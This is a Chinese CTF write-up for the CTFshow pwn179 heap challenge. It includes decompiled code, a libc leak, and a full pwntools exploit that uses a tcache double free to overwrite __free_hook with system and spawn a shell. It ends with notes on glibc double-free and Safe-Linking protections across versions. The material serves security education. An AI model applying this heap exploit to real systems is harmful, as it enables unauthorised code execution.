CTFshow-pwn179

[!NOTE]

Tcache dup

  • 远程环境:Ubuntu 18.04

libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1

保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn179
[*] '/home/niuyingying/ctf/pwn/pwn179'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

分析程序流程

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_98A();
  sub_9CD();
  while ( 1 )
  {
    puts("### USER ADMINISTRATION ###\n");
    puts("0) Create user");
    puts("1) Edit user name");
    puts("2) Delete user");
    puts("3) Send admin a message");
    puts("4) exit");
    printf("Enter your choice: ");
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 0:
        Create("%d", (unsigned int)&v3);
        break;
      case 1:
        Edit("%d", (unsigned int)&v3);          // age & name
        break;
      case 2:
        Delete("%d", (unsigned int)&v3);
        break;
      case 3:
        Send("%d", (unsigned int)&v3);          // buf
        break;
      case 4:
        exit(0);
      default:
        puts("Wrong choice try again...");
        break;
    }
  }
}
unsigned __int64 __fastcall Create(const char *a1)
{
  char **v1; // rbx
  char buf[40]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  ptr = malloc(0x10u);
  printf("Enter age of user: ");
  __isoc99_scanf("%d", (char *)ptr + 8);
  printf("Enter username: ");
  read(0, buf, 0x1Fu);
  v1 = (char **)ptr;
  *v1 = strdup(buf);
  return __readfsqword(0x28u) ^ v4;
}
ssize_t __fastcall Edit(const char *a1)
{
  if ( !ptr )
    sub_A95();
  printf("Enter age of user: ");
  __isoc99_scanf("%d", (char *)ptr + 8);
  printf("Enter username: ");
  return read(0, *(void **)ptr, 0x1Fu);
}
void __fastcall Delete(const char *a1)
{
  if ( !ptr )
    sub_A95(a1);
  free(ptr);                                    // UAF
}
unsigned __int64 __fastcall Send(const char *a1)
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v3; // [rsp+88h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Enter message to be sent: ");
  read(0, buf, 0x7Fu);
  puts("Message recieved: ");
  puts(buf);                                    // Show
  puts("\nSaving it for admin to see!\n");
  qword_202038 = (__int64)strdup(buf);
  return __readfsqword(0x28u) ^ v3;
}

这里来介绍一下 strdup 函数,本质类似:

strlen(buf);
malloc(strlen(buf) + 1);
strcpy(new, buf);

同时它要求传进去的是一个以 \x00 结尾的 C 字符串

先用 Send(b"a" * 0x68) 触发 puts(buf) 泄露 libc,再利用 UAF 漏洞即可 get shell

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn179')
libc = ELF('./libc-2.27.so')

# io = process('./pwn179')
io = remote("pwn.challenge.ctf.show",28179)

# io = gdb.debug('./pwn179', gdbscript='set pagination off\nbreakrva 0xD66\nbreakrva 0xC41\nc')

def Create(i,text):
    io.recvuntil(b"Enter your choice: ")
    io.sendline(b"0")
    io.recvuntil(b"Enter age of user: ")
    io.sendline(b"0")
    io.recvuntil(b"Enter username: ")
    io.sendline(b"aaaa")

def Edit(i,text):
    io.recvuntil(b"Enter your choice: ")
    io.sendline(b"1")
    io.recvuntil(b"Enter age of user: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"Enter username: ")
    io.send(text)

def Delete():
    io.recvuntil(b"Enter your choice: ")
    io.sendline(b"2")

def Send(text):
    io.recvuntil(b"Enter your choice: ")
    io.sendline(b"3")
    io.recvuntil(b"Enter message to be sent: \n")
    io.send(text)
    io.recvuntil(b"Message recieved: \n")

# pwndbg> stack 0x40
# 00:0000│ rsi rsp 0x7fffffffd6a0 ◂— 0x6161616161616161 ('aaaaaaaa')
# ... ↓            11 skipped
# 0c:0060│-030     0x7fffffffd700 ◂— 0x2d61616161616161 ('aaaaaaa-')
# 0d:0068│-028     0x7fffffffd708 —▸ 0x7ffff7880b62 (puts+418) ◂— cmp eax, -1

payload = b"a" * 0x68
Send(payload)

io.recvuntil(payload)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - libc.sym["puts"] - 418
print(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

Create(0,b"aaaa")
Delete()
Delete()

Send(p64(free_hook))
Send(b"/bin/sh\x00")
Send(p64(system))

Delete()
io.interactive()

最后我们来整理一下不同版本 libc 的 tcache bin 和 fastbin 对于 UAF 的检查机制

  • 第一阶段:tcache 出现之前 —— fastbin 独立工作

在 glibc 2.25 及以前,还没有 tcache,较小的 chunk 释放后会按照原来的 malloc 机制进入 fastbin 等 bin。此时 fastbin 已经存在一定的 double free 检查,但这个检查比较弱:释放 chunk 时主要检查它是否等于当前 fastbin 链表的头结点,因此连续执行 free(A); free(A); 会被检测;但是 free(A); free(B); free(A); 时,第二次释放 A 时链表头是 B,所以可以绕过这种“只看头结点”的检查,这也是经典 fastbin dup 的基础。这个阶段 tcache bin 尚不存在

  • 第二阶段:glibc 2.26 ~ 2.28 —— tcache 出现,但 fastbin 基本没变

从 glibc 2.26 开始引入 tcache。对于满足 tcache 条件且对应 tcache bin 未满的 chunk,free() 时会优先进入 tcache,而不是 fastbin 。这一阶段 fastbin 自身的 double free 检查机制基本没有本质变化,仍然是类似“检查当前 fastbin 头结点”的方式,所以如果 chunk 真正进入 fastbin,仍然有 A A 被拦、A B A 可绕的特点

真正发生巨大变化的是 tcache bin:初代 tcache 为了追求性能,几乎没有专门的 double free 检查,因此:

free(A);
free(A);

这种连续 double free 都可能成功,从而出现非常简单的 tcache dup。因此 2.26~2.28 做堆题时,要特别先判断 chunk 到底进入了 tcache 还是 fastbin:进入 tcache 时防护明显比 fastbin 更弱

  • 第三阶段:glibc 2.29 ~ 2.31 —— tcache 加强查重,fastbin 基本不变

从 glibc 2.29 开始,tcache 针对 double free 加入了新的检测机制。tcache entry 中增加了 key 一类的成员标记,chunk 被放入 tcache 时会写入标记;再次 free() 时,如果发现该标记表明 chunk 可能已经属于当前 tcache,就会进一步遍历对应的 tcache bin 链表,确认这个 chunk 是否真的已经存在。如果找到,就触发 double free 检测

因此这一时期:

free(A);
free(A);

和:

free(A);
free(B);
free(A);

这种简单方式通常都不能再直接完成 tcache dup

但是 fastbin 在这个阶段并没有因为 tcache 2.29 的改动而获得同样的“遍历整个 bin 查重”机制。如果 chunk 因为 tcache 已满等原因真正进入 fastbin,它仍然保留之前那套以链表头检查为核心的机制

  • 第四阶段:glibc 2.32+ —— fastbin 和 tcache 都加入 Safe-Linking

从 glibc 2.32 开始,又增加了一层重要保护:Safe-Linking

这一次变化同时影响了 tcache 和 fastbin,因为二者都是单向链表,都依赖 next/fd 指针连接下一个空闲 chunk。

以前链表大致直接保存:

next = 下一块 chunk 地址

2.32+ 后会对这个指针进行类似:

encoded_next = next ^ (当前地址 >> 12)

的处理。

因此:

tcache:2.29 已有的 key + bin 遍历 double free 检查继续存在,同时 next 又受到 Safe-Linking 保护,所以简单修改 next 做 tcache poisoning 变得更困难

fastbin:原本的 double free 检查逻辑没有因为 Safe-Linking 直接变成“完整查重”,但是其 fd 单链表指针同样受到 Safe-Linking 保护,因此传统 fastbin dup / arbitrary allocation 中,伪造 fd 时也必须处理 Safe-Linking

同时要区分两个概念,2.29 主要增强的是 tcache 的 double free 检测;2.32 主要增强的是 fastbin 和 tcache 的链表指针保护

  • 四阶段重点表
≤2.25:
fastbin:只查头,AA 不行,ABA 可绕
tcache :不存在

2.26~2.28:
fastbin:基本不变
tcache :出现,初代几乎不防 double free,AA 都能做

2.29~2.31:
fastbin:基本不变
tcache :加入 key + 遍历 bin,开始认真查 double free

2.32+:
fastbin:fd 加 Safe-Linking
tcache :保留 key + 遍历,同时 next 加 Safe-Linking

当然上一题的 glibc 2.27-3ubuntu1.6 相比原版 2.27/3ubuntu1 (参照本题)回补了更严格的 tcache double free 检查,所以如果运行时出现 free(): double free detected in tcache 2 ,通常说明当前 double free 路径进入了 tcache,并被这类检查拦下了,这时不要再直接走 tcache dup,应优先考虑先填满 tcache,再转 fastbin dup 等利用方式

posted @ 2026-08-10 16:34  AurY1n  阅读(2)  评论(0)    收藏  举报